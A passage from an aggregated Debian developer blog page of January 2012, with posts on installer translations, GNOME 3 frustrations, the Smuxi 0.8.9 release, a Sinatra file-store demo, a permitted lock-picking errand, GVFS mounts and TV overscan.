Search Results: "zed"

19 January 2012

Christian Perrier: 2012 update 5 for Debian Installer localization

Status for D-I level 1 (core D-I files): Status for D-I level 2 (packages that have localized material that may appear during default installs, such as iso-codes, tasksel, etc.): Status for D-I level 3 (packages that have localized material that may appear during non-default installs, such as win32-loader) Full 100% completeness (hall of fame) for: Czech, German, Spanish, French, Italian, Kazakh, Dutch, Portuguese, Russian, Slovak

16 January 2012

Eddy Petrișor: What's common between Windows 7 and GNOME 3 / gnome-shell?

Update: I managed to make sound work. For some weird reason, a mute switch option of some the many (and who knows how useful) switches of my sound card was enabled. Now the damn thing works. Did I mention that since I did the upgrade all my sound cards (I have a USB sound card, too) have listed as available inputs all the inputs of my internal sound card (mic, front mic, line in, CD, etc.) in Audacity? That makes for a very confusing and loooong sound input sources list! The upside is that I can finally record clips from televisions that do not provide such a feature and FastVideoDownload doesn't handle.

I also seem to have found a possible fix for the caps-ctrl issue in Xfce4 (obviously, setting "-option ctrl:swapcap" in ~/.Xkbmap, instead of that Alt modifier).



As I said in my previous post, I will tell you what do GNOME 3 and Windows 7 have in common.

Before everything else, I want to make it clear that when I am saying GNOME 3, I am referring to Debian Wheezy's GNOME 3, since I recently upgraded from Squeeze on my laptop. I'll probably drop a line or two about that, too.

First, I'll tell you about the (boring, probably for many) experience with Windows 7. As I said before, my new job requires me to use a Windows machine, so up until a few months ago I was using Windows XP with some additional software and tweaks to make it usable. Then came the Windows 7 upgrade . I am using quotes since the more appropriate term would be fresh installation on a new partition , not even close to what Debian users are used to call an upgrade.

So after a fresh Windows 7 installation, my first shock was the fact there was NO Quick Launch*. Some of you might be laughing, but I had never used Windows 7 up until then, just saw it on a laptop of a friend of mine (Ovidiu, one of the guys with whom I am doing this podcast, went to Denkfest with, and made these interviews). That was the first shock. Initial discussions about this with Windows users lead me to believe Quick Launch was dead and for some unexplained reason, I believed them. Later, much later, a week ago, to be precise, I found out that you can bring back the Quick Launch through some convoluted way**. Up until that point I had to have some icons pinned to the task bar, but some others on the desktop (and I hate that) because some of them, like Cygwin, if pinned, would start a cmd console, since Win 7 pins the process, not the starting script.

Among other things which broke in Win 7 and used to work fine in XP, the Virtual Dimension application which provides me with a virtual desktop, was the first one which was broken. I have been using a liniar 4 desktops-wide virtual desktop for over 5 years and I am worthless and inefficient if all my apps are on the same desktop. Mail application is always on the first desktop, work and file managers are on the second, the third is for extras and multimedia editing while the fourth is my gateway to the internet, containing the browser, instant messenger, or whatever.

The shortcuts I use to get to the various desktops are Win+1 ... Win+4 keyboard shortcuts, but the M$ Evil Empire decided that those shortcuts are going to start or bring foreward the first, second and so on applications pinned on the task bar. And you can't change those shortcuts***. Nor is disabling just those possible since they are all disabled through a huge switch which disables ALL Win+x keyboard shortcuts, among which Win+E (file expolrer) and Win+D (Show Desktop) were also. Luckly, Win+L (lock screen) was not disabled. So I disabled al those Win+ shortcuts, since I need virtual desktops.

Now, imagine if I had to start a Cygwin console and I had all sorts of apps open! Win+D was disabled, so I had to minimize the apps covering the desktop shortcut for Cygwin, click on the icon to start it, bring back the minimized windows and go on with my work. What a waste of clicks, mouse movement, energy and time, just because some dudes thought a Quick Launch-like feature was useless****.


You might wonder already what do those '*' sings mean. Well, sadly, that's what GNOME 3 / gnome-shell and Windows 7 have in common.

Gnome 3 was a shock for me. An empty desktop right after upgrade. No panels, no shortcuts*, no power indicators, no wicd indicator, no virtual desktops, no desktop icons, (I have a few dirs and docs there). Sounds like an Evil Empire decision, doesn't it?

Luckly I have been using Tilda as my always-ready console and I could fire up iceweasel from the console in order to understand where my panel disappeared.

I then realised that the upgrade brought me Network Manager, that app which wicd replaced. As a consequence, I had no working wlan since Network Manager made sure to mess up with the network manager I chose.

After looking through the documentation of Network Manager and realising I either had it set up to leave wlan0 alone or I didn't understood NM's documentation, I simply stopped the service, which let Wicd its job flawlessly.

The first thing I searched was Gnome 3 panel or something of that sort and I was confronted with the obvious option to appeal to the Forced Fallback Mode which was disabled. I figured I either had an old version, or Debian disabled this feature (hoping they provided an alternative). There was also the option to conform to this convoluted way of working** with Actions and such uselessness like that. I still wonder, what is the purpose of the Favourites bar on the left side, since it's accessible only after wasting a lot of mouse movement and time? For Joe's Pesci sake, I use focus under mouse just to avoid needless mouse and keyboard manipulation. Why? Why? WHY would I want every time I need to start or SWITCH to another application to move the mouse to the upper-left corner then take my hands off the mouse to type, move the mouse downwards or move across the whole width of the screen to get to my beloved virtual desktops and pick the app I want?

Making a long story short, after even trying XFCE4 (which for some unknown reason resets almost immediately my keyboard layout to the default layout with the Caps on Caps, instead of my preferred and set Ctrl on Caps - yes, it's global), I managed to find GNOME Shell Frippery** which made the experience better.

Later I found out that GNOME 3's file manager, Nautilus, has decided that an up on level button is useless, since the default is to use that uncopy-pastable button location bar instead of a sane text location bar. And it seems the GNOME developers decided this*** and I should conform to it.

To add insult to injury, those icons on my old panel are apparently useless**** and even in the fallback version I can't get them back. Or so the GNOME developers decided.

At some point this sunday, don't know how or why this change happened, producing sound was impossible. I know the problem is pulseaudio since when I kill the pulseaudio daemon from the console I can play audio. BTW, great timing, just when I needed sound the most, before releasing episode 32 of our podcast (yay, I reaslised that xfce just decided to reset my caps to be caps, after setting to ctrl a few minutes ago).

I know I praised pulseaudio when I first tried it, but failing to make it work out of the box or after some tinkering is a deal breaker for me, so I removed it. Now I find it that is a default in GNOME, yet all it manages to do is prevent audio from working. At least on my machine.

Other problems? Gnome Power Manager manages to hang and block my session, GNOME managed somehow to fail to start at some point. Yeah, and that sound problem which I didn't fix yet, didn't went away after removing all the pulseaudio packages which could be removed (e.g.: ryhtmbox depends on libpulse0, same do some other apps like audacity, so I couldn't remove all pulse related packages).

I got involved with Debian and GNU/Linux because it was tweakable and customisable, didn't use to force all sorts of option on me and now I find with its increasing popularity it becomes more and more like a product of a corporation which decides to change some things just to change and totally disregadring user experience and uses.

So, in the light of all of these problems I think it's time to probably consider trying KDE. Is it any good lately?

14 January 2012

Christian Perrier: 2012 update 4 for Debian Installer localization

Status for D-I level 1 (core D-I files): Status for D-I level 2 (packages that have localized material that may appear during default installs, such as iso-codes, tasksel, etc.): Status for D-I level 3 (packages that have localized material that may appear during non-default installs, such as win32-loader) Full 100% completeness (hall of fame) for: Czech, German, Spanish, French, Italian, Kazakh, Dutch, Portuguese, Russian, Slovak

13 January 2012

Jon Dowland: vi

As seen on reddit: an old Bill Joy quote often banded about as part of the (largely synthetic) vi-vs.-emacs holy war starts as follows:
vi was written for a world that doesn't exist anymore
The context of that quote is:
I was trying to make it usable over a 300 baud modem. That's also the reason you have all these funny commands. It just barely worked to use a screen editor over a modem. It was just barely fast enough. 9600 baud is faster than you can read. 1200 baud is way slower. So the editor was optimized so that you could edit and feel productive when it was painting slower than you could think.
(source: the register). Furthermore:
unless you decide to get a satellite phone and use it to connect to the Net at 2400 baud, in which case you'll realize that the Net is not usable at 2400 baud.
You don't need anything as esoteric as a satellite phone: a cellular mobile phone will suffice. I've no idea what the effective/equivalent baud rate of GPRS is (or EDGE), but I have a new-found appreciation for vi's design goals having tried to run an SSH session over such a connection.

Dirk Eddelbuettel: RInside 0.2.6

A new version of RInside, now at 0.2.6, is now available via CRAN. RInside provides a set of convenience classes which facilitate embedding of R inside of C++ applications and programs, using the classes and functions provided by the Rcpp R and C++ integration package. This release has an additional fix for the Windows use case, adds cmake support files for the examples, switches to using the same RNG initialization of time and process id that R uses, and other minor fixes. All changes since the last release are summarized below: 
2012-01-11  Dirk Eddelbuettel  <edd>
        * DESCRIPTION: Release 0.2.6
        * DESCRIPTION: Updated Description: text 
2012-01-08  Dirk Eddelbuettel  <edd>
        * src/RInside.cpp: Correct console writer on Windows to not use
        Rprintf (with thanks to both James Bates and John Brzustowski)
        * src/RInside.cpp: Update RNG seeding to same scheme now used by
        R which blends both (millisecond) time and process id
        * src/RInside.cpp: Replace fprintf(stderr,...) with Rf_error(...)
        * src/setenv/setenv.c: Idem
        
        * inst/examples/*: Added CMake build support for all example
        directories kindly provided by Peter Aberline; this helps when coding
        inside of IDEs such as Eclipse, KDevelop or Code::Blocks
        * inst/examples/standard/Makefile.win: Allow for an R_ARCH variable
        to be set to enforce either i386 or x64 builds
CRANberries also provides a short report with changes from the previous release. More information is on the RInside page. Questions, comments etc should go to the rcpp-devel mailing list off the Rcpp R-Forge page.

11 January 2012

Michal &#268;iha&#345;: Configuring standalone XBMC

I have a laptop used for playing music (and occasionally also videos) which is currently running Windows XP with XBMC. Reinstalling this beast to Linux is on my todo list for ages and now I've finally found time to try that. Starting Debian installer worked like charm and in few minutes I got Debian system running. I've chosen to run sid, well for reason I run it usually on place where I want latest software. Installing XBMC from Debian multimedia worked also fine and you can easily find some howtos for directly starting XBMC. And that's where I ran into trouble - XBMC is damn slow. Notebook has oldish nVidia GeForce FX Go5200 card, which seems to be poorly supported by nouveau (and "Do not file bug reports about this driver." suggest that this is what authors do expect). Okay, I can survive having some binary crap so let's try nVidia proprietary drivers. I've quickly realized that the legacy drivers won't work with recent xserver and probably also not with the kernel. Maybe I should try installing something older, what would run binary drivers, but for now I gave up and system is back on Windows (with all problems I have there...).

Filed under: Debian English Linux 7 comments Flattr this!

10 January 2012

Andrew Pollock: [life] Breaking and entering, with permission

I had a bit of an adventure yesterday, which would have taken some explaining if the police had gotten involved. It went a little something like this... My friend and former co-worker Sara was in the US Virgin Islands for the holidays. Her boyfriend, Karl, flew there separately for the tail end of her time there. Yesterday, I received a phone call from Sara, saying that Karl had managed to fly out to the Virgin Islands without his passport. Apparently you can get there without one, but to get back into the mainland US, you need one. She wanted to know if I could get one of my lock-picking co-workers to break into their apartment and retrieve Karl's passport and mail it them. Karl was supposed to fly out the next day. Attempts by Sara to contact her landlord had failed, so they didn't have many other options (apart from mailing me a key, which would have cost them another day). I asked one of my co-workers, Jason, who I knew was into lock picking, if he was up for it, and he offered to put me in touch with another guy who had dominated the recent lock picking night that he'd run. So now I'm talking to David, who's on board with the mission, but doesn't have his lock picking gear on him. No problem, Jason says he'll lend me his, which was at work with him. So we have a plan. Our friends Ian and Melinda are currently in Australia. They've lent us their car because it's leased, and they have some minimum mileage they're supposed to do and they're under it, so I've been driving to work in their car some days. As it happens, I drove to work in it yesterday. So now David and I set out in a car that neither of us own, with a lock picking set that belongs to another person, to break into an apartment of someone who's in the Virgin Islands. What could possibly go wrong? I'm told that it's not illegal to own a lock picking set, but if you're caught with one on your person and you're not a locksmith, you can get into all sorts of trouble. On top of that I'd have a hard time explaining the car I'm driving. We get to Sara and Karl's condo complex. It has a common gate that visitors would normal get buzzed through. Turns out it's not that hard to climb over. It's got some benign-looking spiky things on top, but I could get a leg over from the left hand side of the gate and jump over without impaling myself. Then I let David in and we proceeded upstairs to Sara and Karl's apartment door, where David set to work. Sara said that just the dead bolt was locked. David started at it with Jason's tools, trying to be as discreet as possible. It was about 3:30pm and there was no one around, but we could hear some noises from the neighbouring apartment (the two front doors were right next to each other). After what felt like about half an hour without success (the last pin of the lock was particularly tricky apparently) David was having to resort to more noisy techniques with the lock, so I decided to take the up-front approach and just inform the next door neighbour what we were doing in case he/she (I think it was a she) decided to call the cops on us. I told her through the door why we were there and what we were doing. She didn't seem to care too much. David then proceeded to start "raking" the lock, essentially brute forcing the pins with a lot of jiggling, and finally managed to pick it and we were in. I quickly found Karl's passport where it was suspected to be, and then we pondered how we were going to lock the door again. We could have just locked the door knob instead of the deadbolt and closed the door behind us, but we weren't sure if Sara and Karl had a key to the doorknob (Sara said they always just locked the deadbolt). Sara was fine with leaving the door unlocked until they got home, but weren't so keen on leaving our fingerprints all over the place and then leaving the door unlocked. David tried to re-pick the deadbolt so that he could lock it via the same means as opened it, and I scouted around for a key. I managed to find a key that locked both the deadbolt and the doorknob, so I took that with us and locked up their apartment. In David's defense, the deadbolt was a bit stiff to lock even with the key. I dropped David back at work, collected my stuff (it was now about 4:30pm) and headed to the UPS Store to ship Karl's passport to him as fast as humanly possible. I just made the 5pm pick up. Today I received an SMS from Sara informing me that they had received the passport. I was very impressed with how fast it got to them. So that was all a bit of an adventure. I'm not sure how much longer Karl is going to have to stay in the Virgin Islands as a result. I'm going to suggest that Sara and Karl leave a spare key with someone in future.

6 January 2012

Steve Kemp: Tonight I've mostly been using Sinatra

This evening I've mostly been using Sinatra to build a little file storage service which uses a REST API. That means I can upload a file: 
skx@birthday:~/hg/sinatra$ curl -X PUT -F file=@/etc/fstab http://localhost:4567/
 "id":"dbd1bdc11b5a1a8e80588a135648b4c2edffb49a","path":"/"
Download that same file: 
skx@birthday:~/hg/sinatra$ curl -X GET -F id=dbd1bdc11b5a1a8e80588a135648b4c2edffb49a  \
   http://localhost:4567/
# /etc/fstab: static file system information.
..
/dev/cdrom        /media/cdrom0   udf,iso9660 user,noauto     0       0
Get an index of files: 
skx@birthday:~/hg/sinatra$ curl http://localhost:4567/
[ "id":"dbd1bdc11b5a1a8e80588a135648b4c2edffb49a","type":"file" ]
And finally we can delete a file: 
skx@birthday:~/hg/sinatra$ curl -X DELETE -F "id=dbd1bdc11b5a1a8e80588a135648b4c2edffb49a" \
  http://localhost:4567/
Removed
We can also upload to different paths so we can replicate a file-system if we wanted to. (I added in "type" to hold either "file" or "directory", though I guess if we were to code up a FUSE client we'd want to store things like ctime, UID, GID, etc. THe list operation will show both files and sub-directories) The code was trivial once I got the hang of Sinatra, and I'm pretty pleased with it so far. I don't yet need to use it for anything, but I'm thinking of unifying the way that I store images on a couple of sites - and fetching them via JSON and Javascript might be an option this was an experiment in that direction. (Though I'd probably want to hook in rsync so we replicated the eventual upload location for safety.) In other news I've been all organized and upgraded the kernel on my guest: 
steve@steve:~$ uptime
 22:00:28 up  4:18,  1 user,  load average: 0.14, 0.05, 0.05
steve@steve:~$ uname -r
3.2.0-kvm-hosting.org-i386-20120106
So for once I'm up to date with a cutting edge kernel. Happy times. ObQuote: "How you expect to run with the wolves come night when you spend all day sparring with the puppies? " - The Wire (Omar)

Mirco Bauer: Smuxi 0.8.9 "One Giant Leap" Release

Smuxi - IRC Client Smuxi 0.8.9 "One Giant Leap" Release
Just in time for 2012 I am very pleased to announce Smuxi 0.8.9 codenamed "One Giant Leap". During the development 56 bug reports and 33 feature requests in 593 commits were worked on making this release a major milestone of the Smuxi project. At the Chaos Communication Congress (28C3) in Berlin I was doing the final development sprint to get 0.8.9 done, which was a very intensive and refreshing experience. Here are the highlights of this release: Development Builds / Rolling Releases After the 0.8 release it became clear that a continious and short development -> test cycle is important to keep the project going quickly. At some point I have received requests if the project is dead while it was more active than ever. The lack of new releases (for about 15 months) lead to this wrong impression. Thus Smuxi can be obtained from development builds now. This includes daily builds for Debian (Squeeze, Wheezy, Sid), Ubuntu (Lucid, Maverick, Natty, Oneiric, Precise) and Windows. Thanks goes to Hannes Tismer for providing the Windows autobuilder and to Canonical for the PPA autobuilder. We invite everyone to use these daily builds to keep track of the latest development of Smuxi. Issues and regressions are fixed in a very short period (usually the same day). Thanks to our users who ran development builds and reported issues which led to many bug fixes prior to this release. On the other hand one of my New Year's resolutions are to "release early, release often" So there should be no nerd left behind... Screenshot of Smuxi 0.8.9 on Mac OS X Mac OS X support With the help of Steven McGrath (Steve[cug]) who created the initial Mac OS X installer for Smuxi we now have official support for Mac OS X. The download page contains the instructions how to obtain and install Smuxi on Mac OS X. This makes the 4th platform where Smuxi can be used on besides Windows, Linux and *BSD. For now Smuxi 0.8.9 doesn't feel as native as it could as it relies on the GTK+ port. We are looking into enhancing the experience though, just stay tuned. Chat History on Disk (Beta) The most exciting feature in this release I think are the "persistent message buffers". With this feature I could solve one of the biggest drawbacks IRC ever had: IRC does not retain any messages you have sent or received. All messages are only relayed to all users. The issue is that if you close your IRC client or even just leave a channel, all your received messages are gone. One workaround in most clients was to create text log files which then contains the chat history, but it is annoying and not user-friendly to open some text file somewhere from your disk to read the history outside of your IRC client. Now with Smuxi 0.8.9 you no longer have this issue, all chat history gets automatically written and read to a message database when you start Smuxi, join channels or open queries! As this feature is not fully stable yet it is not enabled by default. If you want to try it go to: File -> Preferences -> Interface and change "Persistency Type" from "Volatile" to "Persistent", hit OK and restart Smuxi. Now all messages are saved into the database and will automatically be shown. Click here for a screencast of this feature Jabber / XMPP Support (Beta) You probably have friends not on IRC and Twitter, say on Jabber, gTalk or Facebook? This is where the new XMPP engine of Smuxi comes into play. You can send and receive messages to/from them now! The implementation is far from complete, though. It has no buddy list for example and needs only to be treated as a technical preview of what will be coming in future Smuxi releases. Click here for a screencast of this feature Screenshot of Smuxi's Text Interface Text Interface (Alpha) This is the first release that contains a text frontend based on the STFL library. STFL is a library that uses ncurses to draw text based user interface using a markup language (like Glade for GTK+). This frontend is in early alpha state and lacks a lot of interface features and likes to crash. It is still included to attract potential developers who want to enhance this frontend. The frontend can be enabled by passing --enable-frontend-stfl to the configure script and then by executing smuxi-frontend-stfl. NetworkManager Support Everyone with a laptop knows how annoying it can be to suspend and resume when network based applications suddenly go crazy because they have lost the connection and either spew errors or take forever to get back in shape. Smuxi will now detect the network state right away with the help of the new Network Manager support. It automatically reconnects when needed right away for you. Next Generation Internet Support You can now connect to IRC servers using the IPv6 protocol Enhanced Find Group Chat Support Users had real issues to find out how to search for channels, thus Bianca Mix added a neat feature. The /list command will now simply open the Find Group Chat dialog for you. This way everyone used to IRC will find it in no time. Searching for channels on freenode wasn't working correctly, this is now fixed. Smuxi also supports the SAFELIST feature of the IRC protocol now which allows to retrieve a full channel list and do client side search which makes consecutive searches much faster. Enhanced Windows Experience For a long time you could not use Smuxi with the latest GTK# version of 2.12.10 on Windows. The issue was that Smuxi relied on SVG support which 2.12.10 no longer had. Smuxi is no longer using SVG instead it uses pre-scaled PNG images thus it works just fine with GTK# 2.12.10 on Windows now. At the same time the issue that the maximized state of the main window was left when restoring from task bar is fixed with GTK# 2.12.10. Screenshot of Fixed-Sys vs Consolas font Smuxi used by default the FixedSys font on Windows to give it the typical IRC look most people are used to. Since Windows Vista there is a better console-like font available called Consolas. Smuxi will now use the Consolas font instead on Windows Vista or later. Another important enhancement is that Smuxi no longer has issues with multiple GTK+ installs on the same computer, which was getting more common with more popular ported GTK+ applications such as GIMP or Pidgin. SSL for IRC fixed IRC with SSL was only working with the default port of 6697. Thanks to Jo Shields now any port can be used with SSL. Crash Related Issues Desktop notifications could crash Smuxi in case of errors related to the notification system or an absent notification daemon. There was a chance that the crash dialog simply disappeared which made reporting bugs more difficult no longer happens. Rapid use of ctrl+w, /window close (Jimmie Elvenmark) and opening the Find Group Chat dialog on the Smuxi tab do no longer crash. Also number-only network names, /network switch freenode and GTK+ install without SVG support no longer lead into a crash. Enhanced Notice Handling Notices will no longer open query tabs for you instead it will show them on tabs you share with the person who sent it with the server tab as fallback. This also avoids ChanServ, NickServ and spammy IRCop tabs. Twitter fixes Twitter made some changes to their API which broke the Twitter support of Smuxi 0.8. This was taken care of and also a few other issues were solved allowing Smuxi 0.8.9 to work smoothly with Twitter again. Extended Keybindings Smuxi allows now to use the ctrl+tab / ctrl+shift+tab and ctrl+n / ctrl+p keys to switch tabs. The keybindings still work even with a hidden menu bar now. Smuxi Server specific highlights More interactive and much faster synchronization When connecting to a smuxi-server you had to wait till Smuxi finished the synchronization before you could use the interface. Also you could not tell how far the synchronization was and just had to wait till it was completed. With Smuxi 0.8.9 the connect just takes a few seconds and all chats are synchronized in the background with a progress bar so you can use the interface from the first moment on and know how far it is. The speed how much it takes to synchronize all chats also reduced drastictly by 400%! Click here for a screencast of this feature More background communication When using a smuxi-server the interface sometimes had load times like when opening the preferences or when using the nickname completion (Andrew Kannan). These operations are done in the background and no longer blocks the interface. Also when the communication is lost to the smuxi-server the frontend will now automatically reconnect to it in the background. Low Bandwidth Mode When it comes to mobile internet connectivity such as UMTS/HSDPA, Edge and GRPS it can be a real pain to connect to the smuxi-server as it has to transfer all the messages over that. If you just want to ask someone you know then you don't need any old messages to do that. With the "Low Bandwidth Mode" you can now connect to the smuxi-server without loading old messages which makes the connect very quick. You find this option in the engine connect dialog. Stable Protocol Initially I didn't plan to make the protocol of Smuxi stable before the 0.9 release, but as it turned out the 0.8 protocol was good enough to still use it and for that reason Smuxi 0.8.9 is still compatible with 0.8. The 0.8 protocol will see no breakages, instead the next protocol will be on-top or opt-in of the current one. This means future Smuxi versions stay compatible with it. Shutdown Command You can now shutdown the smuxi-server if you like using the /shutdown command. It it safe to use the command, it will do a clean shutdown sequence for you. For example it makes sure all messages are written to disk in the case of enabled persistent message buffers. If you have your smuxi-server daemon monitored (e.g. with runit) it can also automatically be restarted and upgraded this way. Built-in SSH Keyfile Support It is no longer needed to fiddle with the .ssh/config file or pagent to get SSH key authorization working. You can now simply tell Smuxi which SSH keyfile you want to use to connect to your smuxi-server. Updated Translations
  • Catalan (Siegfried-Angel Gevatter Pujals)
  • Danish (Joe Hansen)
  • Finnish (Kalle Kaitala)
  • French (Cl ment Bourgeois)
  • German (Bianca Mix)
  • Italian (Vincenzo Campanella)
  • Portuguese (Americo Monteiro)
  • Spanish (Castilian) (Ricardo A. Hermosilla Carrillo)
New Translations
  • Chinese Simp (Dean Lee)
  • Slovak (Tom Vadina)
  • Swedish (Jimmie Elvenmark)
  • partially Russian (Aleksandr P)
  • partially Turkish (Umut Albayrak)
  • partially Urdu (makki)
Contributors Contributors to this release are the following people:
  • Mirco Bauer (497 commits)
  • Tuukka Hastrup (10 commits)
  • Bianca Mix (10 commits, translations)
  • Cl ment Bourgeois (8 commits, translations)
  • Andrius Bentkus (5 commits)
  • Carlos Mart n Nieto (3 commits)
  • Jimmie Elvenmark (3 commits, translations)
  • Hannes Tismer (1 commit)
  • Jonathan Pryor (1 commit)
  • Jo Shields (1 commit)
  • Siegfried-Angel Gevatter Pujals (translations)
  • Dean Lee (translations)
  • Aleksandr P (translations)
  • Americo Monteiro (translations)
  • Andrew Kannan (translations)
  • Joe Hansen (translations)
  • Kalle Kaitala (translations)
  • makki (translations)
  • Ricardo A. Hermosilla Carrillo (translations)
  • Tom Vadina (translations)
  • Umut Albayrak (translations)
  • Vincenzo Campanella (translations)
Thank you very much for your contributions to Smuxi! After reading this whole pile of text, head over here and grab this smexy stuff!
Posted Sun Jan 1 22:58:29 2012
Copyright 2004-2009 Mirco 'meebey' Bauer

5 January 2012

Christian Perrier: 2012 update 3 for Debian Installer localization

Please note that the stats page had some breakage for level 3 these days. This is under repairbut newt translations are still missing as of now. Status for D-I level 1 (core D-I files): Status for D-I level 2 (packages that have localized material that may appear during default installs, such as iso-codes, tasksel, etc.): Status for D-I level 3 (packages that have localized material that may appear during non-default installs, such as win32-loader) Full 100% completeness (hall of fame) for: Czech, German, Spanish, French, Italian, Kazakh, Dutch, Portuguese, Russian, Slovak

Patrick Schoenfeld: Bringing GVFS to a good use

One of the GNOME features I really liked since the beginning of my GNOME usage is the ability to mount various network file system by a few clicks and keystrokes. It enables me to quickly access NFS shares or files via SFTP. But so far these mounts weren't actually mounts in a classical sense, so they were only rudimentary useful.

As a user who often works with terminals I was always halfway happy with that feature and halfway not:

- Applications have to be aware and enabled to make use of that feature, so its often neccessary to workaround problems (e.g. movie players not able to open a file on a share)
- No shell access to files

Previously this GNOME feature was realised with an abstraction layer called GNOME VFS, which all applications needed to use if they wanted to provide access to the "virtual mounts". It did no efforts to actually re-use common mechanisms of Un*x-like systems, like mount points. So it were doomed to fail at certain degrees.

Today GNOME uses a new mechanism, called GVFS. Its realized by a shared library and daemon components communicating over DBUS. At first glance it does not seem to change anything, so I was rather disappointed. But then I heard rumors, that Ubuntu was actually making these mounts available in a special mount point in ~/.gvfs.
My Debian GNOME installation were not.

So I investigated a bit and found evidence about a daemon called gvfs-fuse-daemon, which eventually is handling that. After that I figured this daemon to be in a package called gvfs-fuse and learned that installing it and restarting my GNOME session is actually all needed to do.
Now getting shell access to my GNOME "Connect to server" mounts is actually possible, which makes these mounts really useful after all. Only thing to find out is, if e.g. the video player example now works from Nautilus. But if it doesn't I'm still able to use it via a shell.

The solution is quiet obvious, on the one side. But totally non-obvious on the other.

A common user eventually will not find that solutin without aid. After all the package name does not really suggest what the package is used for, since its referring to technologies instead of the problem it solves. Which is understandable. What I don't understand is, why this package is not a dependency of the gnome meta package. But I haven't yet asked the maintainer, so I cannot really blame anybody.

However: Now GVFS is actually useful.

3 January 2012

Matthew Garrett: TVs are all awful

A discussion a couple of days ago about DPI detection (which is best summarised by this and this and I am not having this discussion again) made me remember a chain of other awful things about consumer displays and EDID and there not being enough gin in the world, and reading various bits of the internet and wikipedia seemed to indicate that almost everybody who's written about this has issues with either (a) technology or (b) English, so I might as well write something.

The first problem is unique (I hope) to 720p LCD TVs. 720p is an HD broadcast standard that's defined as having a resolution of 1280x720. A 720p TV is able to display that image without any downscaling. So, naively, you'd expect them to have 1280x720 displays. Now obviously I wouldn't bother mentioning this unless there was some kind of hilarious insanity involved, so you'll be entirely unsurprised when I tell you that most actually have 1366x768 displays. So your 720p content has to be upscaled to fill the screen anyway, but given that you'd have to do the same for displaying 720p content on a 1920x1080 device this isn't the worst thing ever in the world. No, it's more subtle than that.

EDID is a standard for a blob of data that allows a display device to express its capabilities to a video source in order to ensure that an appropriate mode is negotiated. It allows resolutions to be expressed in a bunch of ways - you can set a bunch of bits to indicate which standard modes you support (1366x768 is not one of these standard modes), you can express the standard timing resolution (the horizontal resolution divided by 8, followed by an aspect ratio) and you can express a detailed timing block (a full description of a supported resolution).

1366/8 = 170.75. Hm.

Ok, so 1366x768 can't be expressed in the standard timing resolution block. The closest you can provide for the horizontal resolution is either 1360 or 1368. You also can't supply a vertical resolution - all you can do is say that it's a 16:9 mode. For 1360, that ends up being 765. For 1368, that ends up being 769.

It's ok, though, because you can just put this in the detailed timing block, except it turns out that basically no TVs do, probably because the people making them are the ones who've taken all the gin.

So what we end up with is a bunch of hardware that people assume is 1280x720, but is actually 1366x768, except they're telling your computer that they're either 1360x765 or 1368x769. And you're probably running an OS that's doing sub-pixel anti-aliasing, which requires that the hardware be able to address the pixels directly which is obviously difficult if you think the screen is one size and actually it's another. Thankfully Linux takes care of you here, and this code makes everything ok. Phew, eh?

But ha ha, no, it's worse than that. And the rest applies to 1080p ones as well.

Back in the old days when TV signals were analogue and got turned into a picture by a bunch of magnets waving a beam of electrons about all over the place, it was impossible to guarantee that all TV sets were adjusted correctly and so you couldn't assume that the edges of a picture would actually be visible to the viewer. In order to put text on screen without risking bits of it being lost, you had to steer clear of the edges. Over time this became roughly standardised and the areas of the signal that weren't expected to be displayed were called overscan. Now, of course, we're in a mostly digital world and such things can be ignored, except that when digital TVs first appeared they were mostly used to watch analogue signals so still needed to overscan because otherwise you'd have the titles floating weirdly in the middle of the screen rather than towards the edges, and so because it's never possible to kill technology that's escaped into the wild we're stuck with it.

tl;dr - Your 1920x1080 TV takes a 1920x1080 signal, chops the edges off it and then stretches the rest to fit the screen because of decisions made in the 1930s.

So you plug your computer into a TV and even though you know what the resolution really is you still don't get to address the individual pixels. Even worse, the edges of your screen are missing.

The best thing about overscan is that it's not rigorously standardised - different broadcast bodies have different recommendations, but you're then still at the mercy of what your TV vendor decided to implement. So what usually happens is that graphics vendors have some way in their drivers to compensate for overscan, which involves you manually setting the degree of overscan that your TV provides. This works very simply - you take your 1920x1080 framebuffer and draw different sized black borders until the edge of your desktop lines up with the edge of your TV. The best bit about this is that while you're still scanning out a 1920x1080 mode, your desktop has now shrunk to something more like 1728x972 and your TV is then scaling it back up to 1920x1080. Once again, you lose.

The HDMI spec actually defines an extension block for EDID that indicates whether the display will overscan or not, but doesn't provide any way to work out how much it'll overscan. We haven't seen many of those in the wild. It's also possible to send an HDMI information frame that indicates whether or not the video source is expecting to be overscanned or not, but (a) we don't do that and (b) it'll probably be ignored even if we did, because who ever tests this stuff. The HDMI spec also says that the default behaviour for 1920x1080 (but not 1366x768) should be to assume overscan. Charming.

The best thing about all of this is that the same TV will often have different behaviour depending on whether you connect via DVI or HDMI, but some TVs will still overscan DVI. Some TVs have options in the menu to disable overscan and others don't. Some monitors will overscan if you feed them an HD resolution over HDMI, so if you have HD content and don't want to lose the edges then your hardware needs to scale it down and let the display scale it back up again. It's all awful. I recommend you drink until everything's already blurry and then none of this will matter.

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Rapha&#235;l Hertzog: My Debian Activities in December 2011

This is my monthly summary of my Debian related activities. If you re among the people who made a donation to support my work (364.18 , thanks everybody!), then you can learn how I spent your money. Otherwise it s just an interesting status update on my various projects. Dpkg and Multiarch I had some hope to have a multiarch-enabled dpkg in sid for Christmas as Guillem told me that it was realistic. Alas Guillem got sick. We re in January and we re still not there. While some of Guillem s commits in December were related to multi-arch, the size of his pu/multiarch/master branch did not really shrink. We still have 36 commits to merge most of the work he did was refactoring some parts of the code that were already merged. And he initiated some discussion on interface changes. I participated to those discussions hoping to bring them to a quick resolution. I m still maintaining my own pu/multiarch/full branch, it is based on Guillem s branch but with further fixes that I developed and that he has not yet merged and with a change reverted (Guillem s branch allows crossgrading packages between different architectures while dpkg does not manage this correctly yet). I can only hope that January will be the last month of this never-ending saga. It s been one year since I started working on this project. :- Misc dpkg work I reviewed (and later merged) a patch of Kees Cook to enhance dpkg-buildflags so that it can report which hardening features are enabled. This feature might then be used by tools like lintian to detect missing hardening features. I mentored Gianluca Ciccarelli who is trying to enhance dpkg-maintscript-helper to take care of replacing a directory by a symlink and vice-versa. I took care of #651993 so that dpkg-mergechangelogs doesn t fail when it encounters an invalid version in the changelog, and of #652414 so that dpkg-source --commit accepts a relative filename when a patch file is explicitly given. Guillem also merged a fix I developed for LP#369898. Packaging work WordPress 3.3 came out so I immediately packaged it. Despite my upstream bug report, they did not update their GPL compliance page which offers the corresponding sources for what s bundled in the tarball. So I hunted for the required sources myself, and bundled them in the debian.tar.xz of the Debian source package. It s a rather crude solution but this allowed me to close the release critical bug #646729 and to reintroduce the Flash files that were dropped in the past which 